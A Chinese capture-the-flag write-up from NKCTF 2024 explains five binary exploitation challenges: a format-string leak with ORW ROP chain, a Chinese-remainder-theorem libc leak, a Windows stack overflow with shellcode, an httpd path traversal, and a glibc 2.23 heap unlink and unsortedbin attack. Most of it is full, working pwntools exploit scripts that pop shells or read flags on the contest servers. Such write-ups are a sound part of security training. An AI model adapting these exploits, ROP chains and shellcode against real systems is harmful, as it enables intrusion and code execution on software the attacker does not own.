比赛感觉良好,牢gong战队明年继续坐牢。
相比去年感觉pwn题花样少了很多,只有一个堆题,讲点简单的吧。
pwn maimai Seccomp
禁用了 open
调用 。
逻辑比较简单的题。虽然业务逻辑很长,分支也很奇怪,但是可以一路顺着做。省略阅读和重命名,首先看main函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 void __fastcall __noreturn main (__int64 a1, char **a2, char **a3) { int option; int calced; unsigned __int64 v5; v5 = __readfsqword(0x28 u); init(a1, a2, a3); calced = 0 ; while ( 1 ) { while ( 1 ) { sub_134F(); __isoc99_scanf("%d" , &option); if ( option != 1 ) break ; calc_rate(); calced = 1 ; } if ( option == 2 && calced ) { sub_19EA(); } else { if ( option != 2 || calced ) { puts ("Invalid option." ); exit (0 ); } puts ("Calculate your rating first." ); } } }
1号选项会算个分,算完以后把一个全局变量改成1,然后才能去2号选项。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 unsigned __int64 sub_188C () { int v0; double rank; int v3; int i; double split_rate; double final_rate_double; char v7[5 ]; unsigned __int64 v8; v8 = __readfsqword(0x28 u); final_rate_double = 0.0 ; puts ("Input chart level and rank." ); for ( i = 0 ; i <= 49 ; ++i ) { __isoc99_scanf("%lf %s" , &split_rate, v7); if ( split_rate == 15.0 ) { v0 = v3++; if ( v0 == 2 ) { puts ("Invalid." ); return v8 - __readfsqword(0x28 u); } } rank = get_rank_by_str(v7); final_rate_double = rank * split_rate + final_rate_double; } rate = (int )final_rate_double; puts ("Calculation Done." ); return v8 - __readfsqword(0x28 u); } double __fastcall get_rank_by_str (const char *a1) { if ( !strcmp (a1, "SSS+" ) ) return 22.4 ; if ( !strcmp (a1, "SSS" ) ) return 21.6 ; ... if ( !strcmp (a1, "D" ) ) return 6.4 ; return 0.0 ; }
于是我们可以手动控制分数。接下来看选项2。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 unsigned __int64 sub_19EA () { char buf[8 ]; unsigned __int64 v2; v2 = __readfsqword(0x28 u); puts ("Input your nickname." ); read(0 , buf, 8uLL ); printf (buf); printf (", your rating is: %d\n" , (unsigned int )rate); if ( rate < dword_5010 ) { puts ("I think you should play more maimai." ); exit (0 ); } sub_1984(); return v2 - __readfsqword(0x28 u); }
眼尖的同学一看就知道printf存在一个格式化字符串漏洞。并且,这个函数可以循环触发。于是我们就可以循环几次泄露许多地址。这里非常不争气地泄露了栈地址、libc地址。
分数判断结束后,足够高会进入下一个 sub_1984()
。
1 2 3 4 5 6 7 8 9 10 11 unsigned __int64 sub_1984 () { char buf[40 ]; unsigned __int64 v2; v2 = __readfsqword(0x28 u); puts ("Big God Coming!" ); puts ("Can you teach me how to play maimai?" ); read(0 , buf, 0x80 uLL); return v2 - __readfsqword(0x28 u); }
这里就是明显的栈溢出了,但是溢出长度不太长。值得一提的是,一开始想用比较取巧的办法,直接 system("/bin/sh")
,因为当前版本的sh和cat命令都是用的 openat
操作,然而最后还是出了权限bug,发现还是 pwn
程序的 suid
位问题,大概 fork
出来的新进程不会保留主进程的 uid
。偷懒失败~~
那么就只能尝试 orw
。具体来说,使用的是 openat
,read
,puts
三个libc中的函数来构造rop链。复习下 openat
:当第二个参数为绝对地址时第一个参数无效。
最后贴一下脚本。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 from pwn import *p=remote('node.nkctf.yuzhian.com.cn' ,38628 ) context.log_level="debug" p.sendline(b"1" ) p.recvuntil(b'rank.\n' ) for i in range (50 ): p.send(b'1000.0 SSS+\n' ) p.sendline(b"2" ) p.recvuntil(b'nickname.\n' ) s=b"%7$p\0" p.send(s) cn=eval (p.recvuntil(b',' ,drop=True ).decode()) p.send(b'n' ) p.sendline(b"2" ) p.recvuntil(b'nickname.\n' ) s=b"%13$p\0" p.send(s) x=eval (p.recvuntil(b',' ,drop=True ).decode()) libc_base=x-0x29d90 p_rdi_r=0x000000000002a3e5 +libc_base p_rsi_r=0x000000000002be51 +libc_base p_rdx_r12_r=0x000000000011f2e7 +libc_base syst=0x0000000000050d70 +libc_base bsh=0x1d8678 +libc_base r=0x0000000000029139 +libc_base log.success("libc_base = " +hex (libc_base)) opa=0x0000000000114670 +libc_base rd=0x00000000001147d0 +libc_base pts=0x0000000000080e50 +libc_base p.send(b'n' ) p.sendline(b"2" ) p.recvuntil(b'nickname.\n' ) s=b"%8$p\0" p.send(s) x=eval (p.recvuntil(b',' ,drop=True ).decode()) stackofs=0x7ffde64c14d0 -0x7ffde64c1540 flg=x+stackofs pause() pld=b'/flag\0\0\0' +b'a' *32 +p64(cn)+p64(0 )+p64(p_rdi_r)+p64(0 )+p64(p_rsi_r)+p64(flg+40 +0x50 )+p64(p_rdx_r12_r)+p64(0x1000 )*2 +p64(rd) print (len (pld))p.send(pld) pld2=p64(p_rsi_r)+p64(flg)+p64(p_rdx_r12_r)+p64(0 )*2 +p64(opa) pld2+=p64(p_rdi_r)+p64(3 )+p64(p_rsi_r)+p64(flg)+p64(p_rdx_r12_r)+p64(0x40 )*2 +p64(rd) pld2+=p64(p_rdi_r)+p64(flg)+p64(pts) pause() p.send(pld2) p.interactive()
leak 题面比较简单,但是需要一些入门数论知识。首先看主函数的逻辑:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 int __cdecl main (int argc, const char **argv, const char **envp) { _QWORD *v3; __int64 v4; __int64 v5; char v7; __int64 v8[4 ]; void *buf; int i; buf = &v7; setbuf(stdin , 0LL ); setbuf(stdout , 0LL ); setbuf(stderr , 0LL ); puts ("I'll tell you a secret" ); read(0 , buf, 6uLL ); for ( i = 0 ; i <= 5 ; ++i ) printf ("%c" , (unsigned __int64)stdout % (unsigned __int16)*((char *)buf + i)); printf ("%c\n" , (unsigned int )(char )buf); read(0 , v8, 0x21 uLL); v3 = buf; v4 = v8[1 ]; *(_QWORD *)buf = v8[0 ]; v3[1 ] = v4; v5 = v8[3 ]; v3[2 ] = v8[2 ]; v3[3 ] = v5; return 0 ; }
栈上指针 buf
指向栈空间 v7
,往里面输入六个字节。然后给 stdout
地址(事实上是 __IO_2_1_stdout
的地址),分别模六个字节打印余数。
强转 buf
为 char
输出,即输出 buf
的最低位。
往栈上 v8
处输入33字节的数据。注意这里溢出到 buf
最低位了。
往 buf
指向的地方写入刚刚输入的前32字节。
先看从后面看起,我们可以改一个栈指针的最低位,事实上结合泄露,就有了完全可控的往栈上前后0x100字节对齐浮动的一个指针,可以控制 buf
指针指向返回地址。32字节可以构造 ROP
链,设置 rdi
-> 参数1 -> ret
-> system
。(这里system前面的ret,经常薄纱新手。省流:system中有一个rsp指针末尾为0的检测,rop时常常需要多ret一次来通过)
利用思路有了,但是泄露怎么办呢?古文有云:
今有标准输出不知数者:
百廿七百廿七数之余百十四
百廿六百廿六数之余五百十四
百廿五百廿五数之余一九一九八一零
问地址几何?
《地址不知数》—-李田所
好吧我瞎编的,事实上这就是一个中国剩余定理解同余方程的问题。注意到模数强制转换为 unsigned __int16
,汇编里面有一个 cbw
指令,代表符号扩展。简单来说,最高字比特不能为1,否则转换会出负数。于是我们大概就能在127以下找六个比较大的数,令他们的最小公倍数足够大,解方程得到:
考虑lcm大概为7*6=42比特,而libc地址大约为47比特,0x7f打头。那么我们只需要枚举n到不到100,来满足这些条件就行。这几道题的libc版本都是2.35的,最后的addr都为0x780结尾。
最后的脚本是另一个大佬打的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 from pwn import *context.terminal = ["zellij" , "action" , "new-pane" , "-d" , "right" , "-c" , "--" , "bash" , "-c" ] context.log_level = "debug" context.arch = "amd64" context.os = "linux" from sympy.ntheory.modular import crt p = remote("node.nkctf.yuzhian.com.cn" , 39485 ) def debug (): gdb.attach(p) pause() a1 = [122 , 119 , 121 , 123 , 125 , 127 ] payload1 = [(p8(a1[i])) for i in range (6 )] payload1 = b'' .join(payload1)[::-1 ] p.sendafter("secret\n" , payload1) c_list = p.recvline() stack_al = int (c_list[-2 ]) c_list = [int (c_list[i]) for i in range (6 )][::-1 ] res = crt(a1, c_list)[0 ] info("leak: " + hex (res)) n = 1 for i in range (0 , 6 ): n *= a1[i] info("n: " + hex (n)) stdout_addr = 0 c = 0 while True : stdout_addr = res + c * n if (stdout_addr >> 44 ) == 0x07 : if (stdout_addr & 0xfff ) == 0x780 : break c += 1 assert c < 100 info("stdout_addr: " + hex (stdout_addr)) libc = ELF("./libc.so.6" ) libc_base = stdout_addr - libc.symbols["_IO_2_1_stdout_" ] info("libc_base: " + hex (libc_base)) libc.address = libc_base ret = 0x0000000000029139 + libc_base pop_rdi = 0x000000000002a3e5 + libc_base info("stack_al: " + hex (stack_al)) payload = b'' .join( [ p64(pop_rdi), p64(libc.search(b"/bin/sh" ).__next__()), p64(ret), p64(libc.symbols["system" ]), p8(stack_al + 0x58 ) ] ) p.send(payload) p.interactive()
来签个到 会点 windows
但不多。脚本是其他大佬写的,漏洞就是栈溢出。这里只讲最后利用,大家可以尝试自己用x96dbg来调。
1 LoadLibraryExA("ucrtbase", 0, 0) 、GetProcAddress(eax, "system")、system("cmd") 。
脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 from pwn import *import syscontext.arch = 'i386' LOCAL = len (sys.argv) == 1 if not LOCAL: p = remote(sys.argv[1 ], int (sys.argv[2 ])) else : p = process('./a.exe' ) p.sendlineafter(b'NKCTF2024\r\n' , (b'%p' * 28 + b'=%s=%p=%p=' ).ljust(92 , b'\x00' ) + p32(0x4091B8 )) p.recvuntil(b'=' ) dll_leak, __, canary_leak, __ = p.recvuntil(b'ohhh,no' ).split(b'=' ) msvcrt_base = u32(dll_leak[: 4 ]) - 0x10188D40 canary = int (canary_leak, 16 ) print (hex (msvcrt_base))print (hex (canary))assert b'\n' not in p32(canary)buffer = 0x405000 add_esp_0xc_ret = 0x403c51 add_esp_0x1c_ret = 0x00401dea pop_eax_ret = msvcrt_base + 0x10169ae5 jmp_eax = msvcrt_base + 0x10110ecd gadget1 = 0x403c4b input ()p.sendline(b'0' * 100 + p32(canary) + b'1' * 12 + p32(0x403fc4 ) + p32(add_esp_0xc_ret) + p32(buffer) * 3 + p32(pop_eax_ret) + p32(0x101bb1ac + msvcrt_base - 0x114 ) + p32(gadget1) + p32(0 ) * 3 + p32(jmp_eax) + p32(pop_eax_ret) + p32(buffer) + p32(0x1000 ) + p32(0x40 ) + p32(buffer + 0x800 ) + p32(buffer) + p32(jmp_eax) ) shellcode = asm(f''' mov ebx, 0x01010101 mov edx, {hex (msvcrt_base + 0x101BB16c )} mov edi, [edx] mov esi, [edx + 0x8] push 0x0 push 0x65736162 push 0x74726375 push 0x0 push 0x0 push esp add dword ptr [esp], 0x8 call edi push 0x01016c64 xor [esp], ebx push 0x74737973 push esp push eax call esi push 0x01656c62 xor [esp], ebx push esp call eax ''' )assert b'\n' not in shellcodeassert b'\x1a' not in shellcodeinput ()p.sendline(shellcode) context.log_level = 'debug' p.interactive()
httpd 事实上是道web题吧?本来想看看有没有内存破坏啥的,但最后就是路径穿梭。
先考虑输入一个满足要求的payload:
1 2 3 GET /path/to/where/ HTTP/1.0 Host : 1.2.3.444Content-length : 1
每行 \r\n
隔开,最后一行要俩。
前三项用 scanf("%[^ ] %[^ ] %[^ ]")
读入,表示读三个不含空格的串。这里三个大溢出,但是没用。
这里是看岔了,没有溢出。
问题出在用 strlen
来计算第二项路径长度的时候,结果用了一个 char
存结果,相当于整数溢出了,影响了下面对 heystack
的判断。
这就导致输入很多个斜杠,然后带两个点,底下五个判断的第五项可以被绕过,导致一次往上的路径穿梭。服务器上上一层就有flag。最后给脚本。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 from pwn import *import sysLOCAL = len (sys.argv) == 1 if LOCAL: p = process('./httpd' ) else : p = remote(sys.argv[1 ], int (sys.argv[2 ])) p.send(b'GET /.' + b'/' * 256 + b'.. HTTP/1.0\r\n' ) p.send(b'host: 0.0.0.10\r\n' ) p.send(b'Content-length: 0\r\n' ) p.recvuntil(b'./flag.txt:' ) data = p.recvline(keepends=False ) from Crypto.Cipher import ARC4print (ARC4.new(b'reverse' ).decrypt(data))p.close()
pallu
2.23堆题。讲起来好麻烦。。。
很大的题面,有图鉴数组 palluhandbook
,相当于帕鲁的模板信息,不能改动。
而帕鲁信息存在全局数组上,里面有一个 Label
指针指向堆上字符串。size
表示堆块大小,三选一,大于 fastbin
。name
16字节,交配生成新帕鲁时完全可控无截断,可以贴到 Label
来泄露东西。
Label
堆块在帕鲁生成时填充垃圾内容,可以修改,但修改后全局不可打印。全局范围最多修改两次。剩余修改次数用全局变量存。
修改 Label
可以填入0x520字节内容,显然有堆溢出。
交配生成mini帕鲁,堆大小只有0x200。
题目给了 gift
函数:
最开始时输入输出都没有截断,传入a1为主函数的栈空间,显然存在栈残留泄露,这里可以泄露libc、text、栈三个地址。
控制gift输入的字符,可以生成两个mini帕鲁。
于是呢,四大地址都有了,bss全局数组中也存了堆地址,这样就有了 unlink
的条件;unsortedbin attack
也可用来把剩余修改次数改大。
于是分别做上面两步:
申请 c1
,c2
俩连续堆块,c1+0x10
处伪造一个 size(c1)-0x10
的堆块,伪造 prevsize
使得可以寻址到 c1+0x10
,伪造 c2
的 prev_inuse
位为0。
伪造 c1
的 fd
bk
使得 fd->bk
bk->fd
都指向 Label
(里面存有c1来绕检测) 。(这里知道为啥要 c1+0x10
了吧,经典 unlink
套路)
free(c2)
触发前向合并 unlink
,Label
指向自己-0x18。
删光堆块,申请三个连续,释放第二个,用改堆功能从第一个溢出到第二个的fd
bk
,重新申请,进行unsortedbin attack
,改大剩余修改次数。
现1、2步用一次改堆,4步用一次改堆,没超出限制。现在Label
指向自己-0x18,且可以无限写入,那么事实上就可以把自己改成 freehook
, 然后将 freehook
改成 system
。
最后给脚本。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 from pwn import *context.arch = 'amd64' def skip (idx ): p.sendlineafter(b'10.Help\n----------------------\n' , str (idx).encode()) def create (index ): skip(1 ) p.sendlineafter(b'index:' , str (index).encode()) def edit (index, content=b'\x00' ): skip(2 ) p.sendlineafter(b'index:' , str (index).encode()) p.sendafter(b'Labels:' , content) def show (index ): skip(3 ) p.sendlineafter(b'index:' , str (index).encode()) p.recvuntil(b'labels: ' ) return p.recvline(keepends=False ) def breed (index1, index2 ): skip(4 ) p.sendlineafter(b'index:' , str (index1).encode()) p.sendlineafter(b'index:' , str (index2).encode()) p.sendlineafter(b'yourself?(y/n)' , b'y' ) p.sendafter(b'name:' , b'0123456789abcdef' ) def delete (index ): skip(5 ) p.sendlineafter(b'index:' , str (index).encode()) def show_name (index ): skip(6 ) p.recvuntil(b'\n%d.\npallu name: ' % index) return p.recvline(keepends=False ) def gift (index ): skip(8 ) if index in [0 , 1 ]: p.sendlineafter(b'git code:' , [b"Happy NKCTF2024!" , b"Welcome PalluWorld!" ][index]) else : assert type (index) == bytes assert b'\n' not in index p.sendlineafter(b'git code:' , index) p.recvuntil(b'Your gift code : ' ) p.recvline() return p.recvline(keepends=False ) ''' # proxy import socks context.proxy = (socks.HTTP, '192.168.168.47', 10809) ''' import timeimport randomdef exp (): create(1 ) create(1 ) breed(0 , 1 ) heap_base = u64(show_name(2 )[0x10 : ] + b'\x00\x00' ) - 0xa30 print ('heap:' , hex (heap_base)) delete(2 ) delete(1 ) delete(0 ) libc_base = u64(gift(b'0' * 0xf ) + b'\x00\x00' ) - libc.sym['_IO_2_1_stdin_' ] print ('libc:' , hex (libc_base)) elf_base = u64(gift(b'0' * 0x2f ) + b'\x00\x00' ) - 0x1260 print (' elf:' , hex (elf_base)) gift(0 ) create(1 ) edit(0 , ( p64(0 ) + p64(0x201 ) + p64(elf_base + 0x6200 + 0x10 - 0x18 ) + p64(elf_base + 0x6200 + 0x10 - 0x10 ) ).ljust(0x200 , b'\x00' ) + p64(0x200 ) + p64(0x510 )) delete(1 ) gift(1 ) create(1 ) create(1 ) delete(2 ) edit(1 , b'A' * 0x208 + p64(0x511 ) + p64(0 ) + p64(elf_base + 0x6000 )) create(1 ) edit(0 , p64(0 ) + p64(0 ) * 2 + p64(libc_base + next (libc.search(b'/bin/sh\x00' ))) + p32(0x500 ) + p64(0 ) * 2 + p64(libc_base + libc.sym['__free_hook' ]) + p32(0x500 ) ) edit(1 , p64(libc_base + libc.sym['system' ])) delete(0 ) import sysLOCAL = len (sys.argv) == 1 program = './pallu' libc = ELF('./libc-2.23.so' , checksec=False ) if LOCAL: p = process(program.split(' ' )) else : if len (sys.argv) == 2 : host, port = sys.argv[1 ].split(':' ) port = int (port) else : host, port = sys.argv[1 ], int (sys.argv[2 ]) p = remote(host, port) exp() p.interactive()
小结 今年pwn题没去年那么多样了,虽然也不会直接出原题吧,不过感觉趣味性少好多。很怀念去年的开盒题。
raw.zip
rurudo小姐的直播很棒,比赛两天都在看,有志向的ctf选手都应该去看看。
关注 rurudo小姐 谢谢喵。